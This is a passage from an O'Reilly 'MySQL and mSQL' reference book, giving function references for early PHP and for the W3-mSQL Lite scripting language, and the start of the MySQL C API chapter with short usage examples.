imagechar($image, $size, $x, $y, $character, $color);

Draws character in image with the color color with the font size size. The top left of character is at the point (x, y).

imagecharup
imagecharup($image, $size, $x, $y, $character, $color);

Identical to imagechar except that the character is drawn vertically with the bottom left at (x, y).

imagecolorallocate
$color = imagecolorallocate($image, $red, $green, $blue);

Returns a color for use with the image image using the RGB components specified.

imagecolortransparent
imagecolortransparent($image, $color);

Sets color as the transparent color for image.

imagecopyresized
imagecopyresized($dest_image, $src_image, $dest_x, $dest_y, $src_x, $src_y,
   $dest_width, $dest_heigth, $src_width, $src_heigth);

Copies a rectangular portion from src_image and pastes it into dest_image, resizing if necessary. The arguments dest_x and dest_y are the coordinates of the top left of the rectangle for the destination image, and dest_height and dest_width are the height and width. The arguments src_x, src_y, src_width, and src_heigth are the corresponding values for the source image.

imagecreate
$image = imagecreate($width, $height);

Returns an image indentifier representing a new image with the specified height and width.

imagecreatefromgif
$image = imagecreatefromgif($filename);

Returns an image indentifier representing the image contained in the file filename.

imagedestroy
imagedestroy($image);

Frees any resources occupied by image.

imagefill
imagefill($image, $x, $y, $color);

Flood fills image with the color color starting at the point (x, y).

imagefilledpolygon
imagefilledpolygon($image, $points_array, $num_points, $color);

Creates a polygon in image filled with the color color. The second argument is an array of the points of the polygon. The first two elements of the array are the x and y values of the first point. The next two elements are the value of the next point, and so on. The third argument is the number of points in the polygon.

imagefilledrectangle
imagefilledrectangle($image, $x1, $y1, $x2, $y2, $color);

Creates a rectangle in image filled with the color color. The arguments x1 and y1 form the top left point of the rectangle and x2 and y2 form the bottom right.

imagefilltoborder
imagefilltoborder($image, $x, $y, $border, $color);

Identical to imagefill except that the fill stops where the color border is encountered.

imagegif
imagegif($image);

imagegif($image, $filename);

Outputs the contents of image as a GIF image. If a second argument is present the GIF is written to that filename, otherwise the output is sent straight to the browser.

imageinterlace
imageinterlace($image, $interlace);

Toggles the interlace bit of image to the value of interlace, which should be 1 (for on) or (for off).

imageline
imageline($image, $x1, $y1, $x2, $y2, $color);

Creates a line in image of color color from the point (x1, y2) to (x2, y2).

imagepolygon
imagepolygon($image, $points, $numpoints, $color);

Identical to imagefilledpolygon except that the polygon is not filled.

imagerectangle
imagerectangle($image, $x1, $y1, $x2, $y2, $color);

Identical to imagefilledrectangle except that the rectangle is not filled.

imagesetpixel
imagesetpixel($image, $x, $y, $color);

Draws a single point on image at (x, y) of color color.

imagestring
imagestring($image, $size, $x, $y, $string, $color);

Identical to imagechar except that it outputs the entire string string.

imagestringup
imagestringup($image, $size, $x, $y, $string, $color);

Identical to imagecharup except that it outputs the entire string string.

imagesx
$x_size = imagesx($image);

Returns the width of image in pixels.

imagesy
$y_size = imagesy($image);

Returns the height of image in pixels.

include
include($filename);

Includes the file filename in the current page. Full PHP parsing is done on the included file. PHP searches each of the directories in the environment variable PHP_INCLUDE_PATH for filename.

initsyslog
initsyslog();

Prepares the system for syslog logging. After calling this function you can use syslog to generate log entries.

intval
$integer = intval($variable);

Returns the contents of variable as an integer.

isset
$defined = isset($variable);

Returns 1 if variable is defined, 0 otherwise.

key
$key = key($array);

Returns the key of the next element in array. For an associative array, it returns the name of the key. For a regular array it returns the number of the element.

link
link($target, $filename);

Creates a hard link from filename to target.

linkinfo
$info = linkinfo($filename);

Returns a true value if the link filename exists (but not necessarily the file to which the link points). The function returns -1 in case of an error.

log
$result = log($number);

Returns the natural logarithm of number.

log10
$result = log10($number);

Returns the base 10 logarithm of number.

logas
logas($filename);

Logs the hit on the current page as a hit on filename instead of the filename of the page.

mail
mail($to, $subject, $message);

mail($to, $subject, $message, $headers);

Sends an e-mail message to to with the subject subject and message as the body, If a forth argument is provided it is appended to the headers of the message.

max
$maximum = max($array);

Returns the largest value in array. If array contains strings, it returns the element that is last alphabetically.

md5
$hash = md5($string);

Returns the MD5 hash of string.

microtime
$ms = microtime();

Returns a string that contains the fractional part of the current second (expressed as a decimal) followed by the standard Unix time.

min
$minimum = min($array);

Returns the minimum value in array. If array contains strings, it returns the element that is first alphabetically.

mkdir
mkdir($directory, $mode);

Creates the directory directory with the given mode. The mode must be an octal value.

mktime
$time = mktime($hour,$minute,$second,$month,$day,$year);

Returns a time in standard Unix time format based on the parameters given. If there are less than six parameters, the rightmost parameters are assumed to be the current value (e.g., if four parameters are given, the current day and year are used).

msql
mysql
$result = msql($database, $query);
$result = mysql($database, $query);

Sends the query query to the mSQL/MySQL database database. For a non-SELECT statement the function returns for mSQL 1.x and MySQL and the number of affected rows for mSQL 2.x. For a SELECT statement the function returns a result identifier to be used with other msql_* functions. In the case of an error the function returns -1.

mysql_affected_rows
$num_rows = mysql_affected_rows();

Returns the number of rows affected by the last INSERT, UPDATE, or DELETE statement.

msql_close
mysql_close
msql_close();
mysql_close();

Closes the connection to the mSQL/MySQL database server.

msql_connect
mysql_connect
msql_connect($hostname);
mysql_connect($hostname);
mysql_connect($hostname, $username);
mysql_connect($hostname, $username, $password);

Creates a connection with the mSQL/MySQL database server at hostname. A connection to the server on the local host is made with m(y)sql_connect("localhost"). If no connection exists at the time of the first call to m(y)sql, a connection is automatically made to the localhost. With MySQL an optional username or username/password combination may be given. If PHP is being run in its enhanced security mode (called SAFE MODE), the username must be either the owner of the HTML document or the owner of the web server process.

msql_createdb
mysql_createdb
msql_createdb($database);
mysql_createdb($database);

Creates the given database.

msql_dbname
mysql_dbname
$db = msql_dbname($result, $i);
$db = mysql_dbname($result, $i);

Returns the name of the database stored in the ith field of the result returned by a call to m(y)sql_listdbs.

msql_dropdb
mysql_dropdb
msql_dropdb($database);
mysql_dropdb($database);

Removes database and all tables within it.

msql_fieldflags
mysql_fieldflags
$flags = msql_fieldflags($result, $i);
$flags = mysql_fieldflags($result, $i);

Returns the flags belonging to the ith field of result. The returned value can be one of "primary key", "not null", "not null primary key" or "".

msql_fieldlen
mysql_fieldlen
$length = msql_fieldlen($result, $i);
$length = mysql_fieldlen($result, $i);

Returns the length of the ith field of result.

msql_fieldname
mysql_fieldname
$name = msql_fieldname($result, $i);
$name = mysql_fieldname($result, $i);

Returns the column name of the ith field of result.

msql_fieldtype
mysql_fieldtype
$type = msql_fieldtype($result, $i);
$type = mysql_fieldtype($result, $i);

Returns the type of the ith of result (i.e. "char", "real", etc.).

msql_freeresult
mysql_freeresult
msql_freeresult($result);
mysql_freeresult($result);

Frees the memory associated with a mSQL/MySQL result. All memory is automatically freed at the end of the script, so use this function only if your script is taking up too much memory.

mysql_insert_id
$id_num = mysql_insert_id();

Returns the ID number used for the last INSERT statement that contained an auto_increment field.

msql_listdbs
mysql_listdbs
$result = msql_listdbs();
$result = mysql_listdbs();

Returns a result pointer containing the names of all of the databases available on the mSQL/MySQL server. The m(y)sql_dbname function can retrieve values from the pointer.

msql_listfields
mysql_listfields
$result = msql_listfields($database, $table);
$result = mysqllistfields($database, $table);

Returns a result pointer to information about the fields of the table table within database. The functions m(y)sql_fieldflags, m(y)sql_fieldlen, m(y)sql_fieldname, and m(y)sql_fieldtype can retrieve data from the pointer.

msql_listtables
mysql_listtables
$result = msql_listtables($database);
$result = mysql_listtables($database);

Returns a result pointer containing the names of all of the tables within database. The m(y)sql_tablename function can retrieves values from the pointer.

msql_numfields
mysql_numfields
$num_fields = msql_numfields($result);
$num_fields = mysql_numfields($result);

Returns the number of fields within result.

msql_numrows
msql_numrows
$num_rows = msql_numrows($result);
$num_rows = mysql_numrows($result);_

Returns the number of rows within result.

msql_regcase
$new_string = msql_regcase($string);

Returns a copy of string which has been transformed into a regular expression that will perform a case-insensitive match in a mSQL statement.

msql_result
mysql_result
$result_string = msql_result($result, $i, $field);
$result_string = mysql_result($result, $I, $field);

Returns an entry from the field field in the ith row of result. The argument field is the name of the field column and can be specified as table.field for results that involved joined tables. Any MySQL internal functions which can affect SELECT results can be included in the field argument, for instance, mysql_result $result, $i,"length($field)").

msql_tablename
mysql_tablename
$name = msql_tablename($result, $i);
$name = mysql_tablename($result, $i);

Returns the name of the table stored in the ith field of the result returned by a call to m(y)sql_listtables.

next

next($array);

Moves the pointer of array to the next element and returns that element.

octdec
$decimal = octdec($octal);

Returns the decimal equivalent of octal.

opendir
opendir($directory);

Opens a directory for use with the readdir function. You should close the directory with closedir when you are finished with it.

openlog
openlog($ident, $options, $facility);

Opens the system log for writing. This function should be called after initlog and before the first syslog call. The arguments are the same as the Unix openlog system call. The value of ident is prepended to each log message and is usually the name of the program. The value of options can be any of the following: LOG_CONS (log to the console if there is an error with the standard procedure), LOG_NDELAY (open the log connection immediately instead of at the time of the first log message), LOG_PERROR (log to stderr as well), LOG_PID (include the process PID with each log message). Options can be combined with bitwise OR (e.g. (LOG_DELAY|LOG_PERROR|LOG_PID)). Facility is one of the system-defined log levels (e.g. LOG_SYSLOG, LOG_USER, LOG_KERN, etc.).

ord
$number = ord($character);

Returns the ASCII value of character.

parse_str
parse_str($string);

Parses a URL encoded string of the format "variable1=value1&variable2=value2" and initializes variables with the appropriate values. The PHP program automatically performs this function with incoming form data at the beginning of every script.

passthru
passthru($command);
passthru($command, $return_value);

Executes the external command command and sends all of the output directory to the browser. If a second argument is present, the return value of the command is placed there.

pclose
pclose($fd);

Closes a pipe opened with popen.

phpinfo
phpinfo();

Prints an informational page that's useful when debugging the PHP setup. This is the same page that is printed if you add "?info" to any PHP URL, or if you access the PHP binary directly (i.e., http://www.myserver.com/cgi-bin/php).

phpversion
$version = phpversion();

Returns the version of PHP that is currently running.

popen
$fd = popen($command, $mode);

Runs the external command command and either sends data to the command (if mode is "w") or reads data from the command (if mode is "r"). You must close any file descriptors opened in this manner with pclose.

pos
$position = pos($array['element']);

Returns the numerical position of array['element'] within the associative array array.

pow
$result = pow($x, $y);

Returns x raised to the power y.

prev
$element = prev($array);

Moves the internal pointer of array to the previous element and returns that element.

putenv
putenv($string);

Puts string into the local environment. Note that the environment is destroyed at the end of the script, so this function is really useful only when external programs are called within the script.

quotemeta
$quoted_string = quotemeta($string);

Returns string with all special characters escaped so that it is safe to use within a regular expression.

rand
$number = rand();

Returns a random number between and the system-defined number RANDMAX. You should seed the random number generator with srand once and only once at the beginning of your script.

readdir
$file = readdir();

Returns the next directory entry in the current open directory and advances the directory pointer. Repeated calls to this function will return the next directory entry until there are no more left.

readfile
$filesize = readfile($filename);

Outputs the contents of filename directly to the browser and returns the size of the file. This function is safe to use on binary files such as images.

readlink
$filename = readline($link);

Returns the path of the real file referenced by link. In case of error the function returns -1.

reg_match
$result = reg_match($expression, $string);
$result = reg_match($expression, $string, $array);

Identical to ereg . This function is included only for backwards compatibility with older versions of PHP.

reg_replace
reg_replace($expression, $replacement, $string);

Identical to ereg_replace . This function is included only for backwards compatibility with older versions of PHP.

reg_search
$partial_string = reg_search($expression, $string);
$partial_string = reg_search($expression, $string, $array);

Identical to ereg except that the portion of string after the first match is returned. If there is no match, the function returns an empty string. This function is included only for backwards compatibility with older versions of PHP.

rename
rename($oldfile, $newfile);
Renames oldfile to anewfile.
reset
reset($array);

Moves the internal pointer of array to the first element and returns that element.

return
return($value);

Exits the current user-defined function and returns value.

rewind
rewind($fd);

Moves the file pointer for fd to the beginning of the file.

rewinddir
rewinddir();

Moves the current directory pointer to the beginning of the directory.

rmdir
rmdir($directory);

Deletes directory if it is empty.

rsort
$sorted_array = rsort($array)

Returns a sorted copy of the nonassociative array array in descending order. If the first member of the array is a number, the returned array will be sorted numerically, otherwise the returned array will be sorted alphabetically.

setcookie
setcookie($name);

setcookie($name, $value, $expire, $path, $domain, $secure);

Sends a cookie with the given attributes to the browser. If only name is present, that cookie with that name is deleted from the browser. Any argument may be left out or replaced with "" (or in the case of expire and secure) to be skipped.

seterrorreporting
seterrorreporting($value);

If value is 0, all errors will be disabled, otherwise errors are reported as normal.

setlogging
setlogging($value);

If value is nonzero, access logging for the current page will be enabled, otherwise it will be disabled.

setshowinfo
setshowinfo($value);

If value is nonzero, an informational footer will be printed at the bottom of the page.

settype
settype($variable, $type);

Sets the type of variable to type, which can be integer, double, or string.

shl
$value = shl($number, $b);

Returns the value of number shifted b bits to the left.

shr
$value = shr($number, $b);

Returns the value of number shifted b bits to the right.

sin
$value = sin($number);

Returns the sine of number (in radians).

sleep
sleep($seconds);

Stops the processing of the page for seconds seconds.

sort
$sorted_array = sort($array)

Returns a sorted copy of the nonassociative array array in ascending order. If the first member of the array is a number, the returned array will be sorted numerically, otherwise the returned array will be sorted alphabetically.

soundex
$soundex_key = soundex($string);

Returns the soundex key of string.

sprintf
$string = sprintf($format, $arg, [$arg, $arg, ...]);

Returns format with each C printf-style variable indicator replaced with the appropriate arg. Up to 5 arguments can be provided.

sqrt
$value = sqrt($number);

Returns the square root of number.

srand
srand($integer);

Seeds the random number generator with the value integer. This function should be called once and only once at the beginning of any script where you use the rand function.

strchr
strstr

$substring = strchr($string, $value);

$substring = strstr($string, $value);

Returns the portion of string that occurs starting after the first instance of value. The strchr and strstr functions are identical and are both included for the purposes of completeness.

strtr
strtr($string, $set1, $set2);

Translates all characters in string that are in set1 to the corresponding character in set2. If set1 is longer than set2, the last character in set2 is used for the extra characters in set1. If set2 is longer than set1, the extra characters in set2 are ignored.

stripslashes
$plain_string = stripslashes($escaped_string);

Removes all escape characters from escaped_string.

strlen
$length = strlen($string);

Returns the length of string.

strrchr
$substring = strrchr($string, $character);

Searches string backwards for character. The function returns the portion of string from the first occurrence of character it finds to the end of the string. An empty string is returned if character is not found.

strtok
$substring = strtok($string, $characters);

$substring = strtok($characters);

Splits string up into substrings using any of the characters in characters as delimiters. After the first call to strtok, omit the string argument in subsequent calls to return each successive substring until the end of string is reached.

strtolower
$lc_string = strtolower($string);

Returns string with all characters converted to lower case.

strtoupper
$uc_string = strtoupper($string);

Returns string with all characters converted to upper case.

strval
$string = strval($variable);

Returns variable as a string value.

substr
$substring = substr($string, $start, $length);

Returns the portion of string that begins at character start (0 is the first character) and continues for length characters.

symlink
symlink($target, $filename);

Creates a symbolic link from filename to target.

syslog
syslog($level, $message);

Logs message to the system logs at the level level.

system
$results = system($command);
$results = system($command, $return_value);

Executes the external command command and returns all output. If a second argument is provided, the return value of the command is placed there.

tan
$value = tan($number);

Returns the tangent of number (in radians).

tempnam
$filename = tempnam($path, $prefix);

Returns a filename, prepended with prefix, that will be unique in the directory specified by path.

time
$time = time();

Returns the current time in Unix standard time format (the number of seconds since Jan 1, 1970).

umask
$umask = umask();
umask($umask);

Returns the current umask if no argument is specified. Sets the umask to umask (which must be an octal number) if an argument is present.

uniqid
$result = uniqid();

Returns a value that is guaranteed to be unique compared to other values returned by repeated calls.

unlink
unlink($filename);

Deletes the specified file.

unset
unset($variable);

Undefines the specified variable, which may be an element of an array. When performed on an array, it erases the entire array.

urldecode
$decoded_string = urldecode($string);

Returns a copy of string that has all URL escape codes translated into their values. This is done automatically with all incoming form data.

urlencode
$encoded_string = urlencode($string);

Returns a copy of string that has all special characters URL encoded.

usleep
usleep($ms);

Stops the parsing of the script for ms microseconds.

virtual
virtual($filename);

Includes filename exactly as if the tag <!--#include virtual="$filename" --> were present in a standard HTML file. This function is useful only in conjunction with the Apache web server.

Previous | Home | Next
17.2. mSQL Utilities | Book Index | 18.2. Lite
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Lite (MySQL & mSQL)

 MySQL and mSQLSearch this book

18.2. Lite

Lite is the scripting language used by W3-mSQL. In syntax, it is similar to C and even more to Perl. In fact, many Lite scripts are syntactically indistinguishable from Perl scripts. Lite, however, lacks many of the advanced features of Perl.

Below is a quick reference of the standard Lite functions that are available when using W3-mSQL.

chdir
$result = chdir($path)

Changes directory to the specified path. If the operation is unsuccessful, a negative integer is returned.

chmod
$result = chmod($filename, $mode)

Changes the mode of the specified file to mode. If the operation is unsuccessful, a negative integer is returned. The value mode can be given as a decimal, octal or hexadecimal value.

chop
$string = chop($string)

Returns the string with the last character removed. This is handy for removing newlines from the end of strings read with readln.

close
close ($fd)

Closes the file associated with the file descriptor.

ctime
$time = ctime($time)

Converts time, which is some number of seconds since the epoch, into the common Unix text representation of the time.

echo
FM-Command>echo($string)

Prints the given string. Any variables in the string will be replaced with the values of the variables.

fprintf
fprintf($fd, $string [, arg ...])

Works like the C (or Perl) function of the same name. The first argument is a file descriptor. The formatted string is printed to the file associated with the file descriptor.

gethostbyaddr
$hostinfo = gethostbyaddr($address)

Returns the same array as gethostbyname() for given IP number. The IP should be given as a decimal string, as in "127.0.0.1". In the official W3-mSQL documentation, this function is referred to as both gethostbyaddr and gethostbyaddress. At the time of this writing gethostbyaddress is incorrect and does not exist as a function in W3-mSQL.

gethostbyname
$hostinfo = gethostbyname($host)

Returns an array of information about the given host. The first element of the array is the name of the host and the second is the IP number.

getpid
$pid = getpid()

Returns the process ID of the Lite program.

getpwnam
$entry = getpwnam($username)

Returns an array of information about the user with the username username. The fields of the array are as follows:

  1. Username

  2. Password

  3. UID

  4. GID

  5. GECOS (Full name and other optional information)

  6. Home directory

  7. Shell

getpwuid
$entry = getpwuid($UID)

Returns an array identical to that of getpwnam for the user with the user ID $UID.

includeFile
includeFile($filename)

This function includes the file filename into the output of the program. The file is not modified or parsed in any way.

kill
$result = kill($pid, $signal)

Sends the signal signal to the process pid. If the operation is unsuccessful, a negative integer is returned.

link
$result = link($file, $newlinkname)

Creates a `hard' link from file to newlinkname. If the operation is unsuccessful, a negative integer is returned.

mkdir
$result = mkdir($directoryname)

Creates a directory with the given name. If the operation is unsuccessful, a negative integer is returned.

msqlConnect
$socket = msqlConnect($host)

Connects to the mSQL server on the host host. The return value is the socket number used in a subsequence communication with the database server. If unsuccessful, a negative integer is returned.

msqlClose
msqlClose($socket)

Terminates the connection identified by socket.

msqlDataSeek
msqlDataSeek($result, $location)

This places the `pointer' for result immediately before the row location. Setting the location to 0 puts the pointer at the beginning of the data. The next call to msqlFetchRow will retrieve the row after location.

msqlEncode
$string = msqlEncode($string)

This function returns a copy of string that is safely encoded for use in a mSQL query.

msqlFetchRow
$row = msqlFetchRow($result)

This function returns the next row of available data in result as an array.

msqlFieldSeek
msqlFieldSeek($result, $location)

This changes the `pointer' of a result generated by msqlInitFieldList in the same way that msqlDataSeek effects results from msqlStoreResult.

msqlFreeResult
msqlFreeResult($result)

This frees any memory used by a result retrieved with msqlStoreResult. This function must be called for each result when you are finished with it.

msqlInitFieldList
$result = msqlInitFieldList($socket, $database, $table)

This creates a table of information about the table table in the database database on the server indicated by socket.

msqlListDBs
$databases = msqlListDBs($socket)

Returns an array of the names of all of the databases available on the server indicated by socket.

msqlListField
$tableinfo = msqlListField($result)

Returns an array of information about the next field in the table generated from msqlInitFieldList, indicated by result. Each successive call to msqlListField produces a new array until there are no more fields left. The array consists of the following fields:

0

Field Name

1

Table Type

2

Type

3

Length

4

Flags

msqlListTables
$tables = msqlListTables($socket, $database)

Returns an array of the names of the tables available on database on the server indicated by socket.

msqlNumRows
msqlNumRows($result)

Returns the number of rows of data contained in the result result.

msqlQuery
$result = msqlQuery($socket, $query)

This attempts to send to query query to the connection socket. If the query was not successfully executed, a negative integer is returned.

msqlSelectDB
$result = msqlSelectDB($socket, $database)

This function attempts to set the connection socket to use the database database. If unsuccessful, a negative integer is returned.

msqlStoreResult
$result = msqlStoreResult

Retrieves any data that was produced by the last msqlQuery call and stores it for access and manipulation.

open
$fd = open($file, $mode)

This function opens the given file using the given mode and associates a file descriptor with the file. The defined modes are as follows:

>

Open the file for writing.

<

Open the file for reading.

<>

Open the file for reading or writing.

<P

Create a named pipe and open it for reading.

>P

Create a named pipe and open it for writing.

<|

Execute the file as a command and read the output.

>|

Execute the file as a command and write to the process.

pid
$pid = getppid()

Returns the process ID of the process that is the parent of the Lite program.

printf
printf($string [, arg, ... ])

This works like the C (or Perl) function of the same name. Variables in the string are not substituted; standard C `%s' format must be used to insert variables into the string.

read
$data = read($fd, $length)

Read length number of bytes from the specified file descriptor.

readln
$line = readln($fd)

Read the next line from the specified file descriptor.

readtok
$data = readtok($fd, $token)

Read data from the specified file descriptor until the token is encountered. Only the first character of token is used.

rename
$result = rename($oldname, $newname)

This attempts to rename of the specified file (or directory) from oldname to newname. If the operation is unsuccessful, a negative integer is returned.

rmdir
$result = rmdir($path)

This attempts to remove the given directory. If the operation is unsuccessful, a negative integer is returned.

setContentType
setContentType($string)

This function overrides the default content type of HTML page containing the script and uses string in its place. This function must be the very first line in the document to work. Not even a blank line can precede it.

sleep
sleep($time)

This stops the program for time number of seconds.

split
$strings = split($string, $token)

Splits the given string by the token character into an array of strings.

stat
$stat = stat($file)

Returns an array of information about file. The elements of the array are as follows:

  1. Inode number

  2. File mode

  3. Number of links to file

  4. UID

  5. GID

  6. Size of file

  7. Atime

  8. Mtime

  9. Ctime

  10. Block size of file system (in bytes)

  11. Number of file system block used

strftime
$time = strftime($format, $time)

This converts a Unix time into a text representation of the time using format as a guide. Any of the following sequences in format are replaced with their corresponding value:

%a

Day of week, using locale's abbreviated weekday names

%A

Day of week, using locale's full weekday names

%b

Month, using locale's abbreviated month names

%B

Month, using locale's full month names

%d

Day of month (01-31)

%D

Date as %m/%d/%y

%e

Day of month (1-31 with single digits preceded by a space)

%H

Hour (00-23)

%I

Hour (00-12)

%j

Day of year (001-366)

%k

Hour (0-23, blank padded)

%l

hour (1-12, blank padded)

%m

Month number (01-12)

%M

Minute (00-59)

%p

AM or PM

%S

Seconds (00-59)

%T

Time as %H:%M:%S

%U

Week number in year (01-52)

%w

Day of week (0-6, Sunday being 0)

%y

Year within the century (00-99)

%Y

Year including century (e.g., 1999)

strseg
$string = strseg($string, $start, $end)

Returns the substring of the given string which starts at start characters and ends at end characters from the beginning of the string.

sub
$string = sub($string, $expr1, $expr2)

This substitutes any occurrences of expr1 in string with expr2. The values of expr1 and expr2 may differ in length; string will be lengthened or shortened automatically.

substr
$string = substr($string1, $regexp, $string2)

This finds the substrings of string1 that match the regular expression regexp. For each part of the regular expression enclosed in parenthesis that matches, the corresponding variable $1, $2, $3, etc. is set with the value of the match. The value of string2 is returned with variables (including $1, $2, $3, etc.) expanded.

symlink
$result = symlink($file, $newlinkname)

This attempts to create a symbolic link from file to newlinkname. This function is only supported on some operating systems. If the operation is unsuccessful, a negative integer is returned.

system
$result = system($command)

This function spawns a shell and executes command. Any output of the command is redirected to the output of the program.

test
$result = test($test, $filename)

This performs the test test on the file filename. If the test is successful, 1 is returned, otherwise is returned. The available tests are as follows:

b

Block mode device

c

Character mode device

d

Directory

p

Named pipe

s

Nonempty regular file

f

Regular file

u

Setuid file

g

Setgid file

time
$time = time()

Returns the number of seconds since the epoch (00:00:00 GMT, Jan. 1, 1970).

time2unixtime
$time = time2unixtime($sec, $min, $hour, $day, $month, $year)

This converts the values for a time into the Unix form of the time (which is the number of seconds since the epoch).

tr
$string = tr($string, $list1, $list2)

Substitutes all of the characters in list1 that exist in string with the equivalent character in list2 (e.g., tr("Robby","oy","ai") would return the string "Rabbi"). The list of characters can contain a range of characters separated with "-". For instance, tr("e.e. cummings", "a-z," "A-Z") will return the string "E.E. CUMMINGS."

truncate
$result = truncate($file, $length)

This attempts to truncate the given file to length bytes. This is usually used to create a zero-length file. If the operation is unsuccessful, a negative integer is returned.

umask
umask($mask)

This sets the umask of the current process to mask. The value mask can be given in decimal, octal, or hexadecimal.

unixtime2*
$year = unixtime2year($time)
$month = unixtime2month($time)
$day = unixtime2day($time)
$hour = unixtime2hour($time)
$min = unixtime2min($time)
$sec = unixtime2sec($time)

These functions take a Unix time value and return the requested value. For example, unixtime2day(time()), would return the current day of the month (a value between 1 and 31).

unlink
$result = unlink("filename")

This deletes the specified file. If the operation is unsuccessful, a negative integer is returned.

urlEncode
$string = urlEncode($string)

This function returns a copy of string that is safely encoded for insertion into a URL.

Previous | Home | Next
18. PHP and Lite Reference | Book Index | 19. C Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


C Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 19. C Reference

Contents:

MySQL C API
mSQL C API

19.1. MySQL C API

The MySQL C API uses several defined datatypes beyond the standard C types. These types are defined in the `mysql.h' header file that must be included when compiling any program that uses the MySQL library.

19.1.1. Datatypes

MYSQL

A structure representing a connection to the database server. The elements of the structure contain the name of the current database and information about the client connection among other things.

MYSQL_FIELD

A structure containing all of the information concerning a specific field in the table. Of all of the types created for MySQL, this is the only one whose member variables are directly accessed from client programs. Therefore it is necessary to know the layout of the structure:

char *name

The name of the field.

char *table

The name of the table containing this field. For result sets that do not correspond to real tables, this value is null.

char *def

The default value of this field, if one exists. This value will always be null unless mysql_list_fields is called, after which this will have the correct value for fields that have defaults.

enum enum_field_types type

The type of the field. The type is one of the MySQL SQL datatypes.

unsigned int length

The size of the field based on the field's type.

unsigned int max_length

If accessed after calling mysql_list_fields, this contains the length of the maximum value contained in the current result set.

unsigned int flags

Zero or more option flags. The following flags are currently defined:

NOT_NULL_FLAG

If defined, the field cannot contain a NULL value.

PRI_KEY_FLAG

If defined, the field is a primary key.

UNIQUE_KEY_FLAG

If defined, the field is part of a unique key.

MULTIPLE_KEY_FLAG

If defined, the field is part of a key.

BLOB_FLAG

If defined, the field is of type BLOB or TEXT.

UNSIGNED_FLAG

If defined, the field is a numeric type with an unsigned value.

ZEROFILL_FLAG

If defined, the field was created with the ZEROFILL flag.

BINARY_FLAG

If defined, the field is of type CHAR or VARCHAR with the BINARY flag.

ENUM_FLAG

If defined, the field is of type ENUM.

AUTO_INCREMENT_FLAG

If defined, the field has the AUTO_INCREMENT attribute.

TIMESTAMP_FLAG

If defined, the field is of type TIMESTAMP.

unsigned int decimals

When used with a numeric field, it lists the number of decimals used in the field.

The following macros are provided to help examine the MYSQL_FIELD data:

IS_PRI_KEY(flags)

Returns true if the field is a primary key.

IS_NOT_NULL(flags)

Returns true if the field is defined as NOT NULL.

IS_BLOB(flags)

Returns true if the field is of type BLOB or TEXT.

IS_NUM(type)

Returns true if the field type is numeric.

MYSQL_FIELD_OFFSET

A numerical type indicating the position of the "cursor" within a row.

MYSQL_RES

A structure containing the results of a SELECT (or SHOW) statement. The actual output of the query must be accesses through MYSQL_ROW elements of this structure.

MYSQL_ROW

A single row of data returned from a SELECT query. Output of all MySQL data types are stored in this type (as an array of character strings).

my_ulonglong

A numerical type used for MySQL return values. The value ranges from to 1.8E19, with -1 used to indicate errors.

mysql_affected_rows
my_ulonglong mysql_affected_rows(MYSQL *mysql)

Returns the number of rows affected by the most recent query. When used with a non-SELECT query, it can be used after the mysql_query call that sent the query. With SELECT, this function is identical to mysql_num_rows.

Example

/* Insert a row into the people table */
mysql_query(&mysql, "INSERT INTO people VALUES ('', 'Illyana Rasputin', 16)";
num = mysql_affected_rows(&mysql);
/* num should be 1 if the INSERT (of a single row) was successful, and -1 if
   there was an error */
mysql_close
void mysql_close(MYSQL *mysql)

Ends a connection to the database server. If there is a problem when the connection is broken, the error can be retrieved from the mysql_err function.

Example

mysql_close(&mysql);
/* The connection should now be terminated */
mysql_connect
MYSQL *mysql_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd)

Creates a connection to a MySQL database server. The first parameter must be a predeclared MYSQL structure. The second parameter is the hostname or IP address of the MySQL server. If the host is an empty string or localhost, a connection will be made to the MySQL server on the same machine. The final two parameters are the username and password used to make the connection. The password should be entered as plain text, not encrypted in any way. The return value is the MYSQL structure passed as the first argument, or NULL if the connection failed. (Because the structure is contained as an argument, the only use for the return value is to check if the connection succeeded.)

NOTE

This function has been deprecated in the newer releases of MySQL and the mysql_real_connect function should be used instead.

Example

/* Create a connection to the local MySQL server using the name "bob" and
   password "mypass" */
MYSQL mysql;
if(!mysql_connect(&mysql, "", "bob", "mypass")) {
            printf("Connection error!\n");
            exit(0);
}
/* If we've reached this point we have successfully connected to the database
   server. */
mysql_create_db
int mysql_create_db(MYSQL *mysql, const char *db)

Creates an entirely new database with the given name. The return value is zero if the operation was successful and nonzero if there was an error.

NOTE

This function has been deprecated in the newer releases of MySQL. MySQL now supports the CREATE DATABASE SQL statement. This should be used, via the mysql_query function, instead.

Example

/* Create the database 'new_database' */
result = mysql_create_db(&mysql, "new_database");
mysql_data_seek
void mysql_data_seek(MYSQL_RES *res, unsigned int offset)

Moves to a specific row in a group a results. The first argument is the MYSQL_RES structure that contains the results. The second argument is the row number you wish to seek to. The first row is 0. This function only works if the data was retrieved using mysql_store_result.

Example

/* Jump to the last row of the results */
mysql_data_seek(results, mysql_num_rows(results)-1);
mysql_debug
mysql_debug(char *debug)

Manipulates the debugging functions if the client has been compiled with debugging enabled. MySQL uses the Fred Fish debugging library, which has far too many features and options to detail here.

Example

/* This is a common use of the debugging library. It keeps a trace of the
   client program's activity in the file "debug.out" */
mysql_debug("d:t:O,debug.out");
mysql_drop_db
int mysql_drop_db(MYSQL *mysql, const char *db)

Destroys the database with the given name. The return value is zero if the operation was successful and nonzero if there was an error.

NOTE

This function has been deprecated in the newer releases of MySQL. MySQL now supports the DROP DATABASE SQL statement. This should be used, via the mysql_query function, instead.

Example

/* Destroy the database 'old_database' */
result = mysql_drop_db(&mysql, "old_database");
mysql_dump_debug_info
int mysql_dump_debug_info(MYSQL *mysql)

This function causes the database server to enter debugging information about the current connection into its logs. You must have Process privilege in the current connection to use this function. The return value is zero if the operation succeeded and nonzero in the case of an error.

Example

result = mysql_dump_debug_info(&mysql);
/* The server's logs should now contain information about this connection */
mysql_eof
my_bool mysql_eof(MYSQL_RES *result)

Returns a nonzero value if there is no more data in the group of results being examined. If there is an error in the result set, zero is returned. This function only works of the result set was retrieved with the mysql_use_result function.

Example

/* Read through the results until no more data comes out */
while((row = mysql_fetch_row(results)))
{
       /* Do work */
}

if(!mysql_eof(results))
{
   printf("Error. End of results not reached.\n");
mysql_errno
unsigned int mysql_errno(MYSQL *mysql)

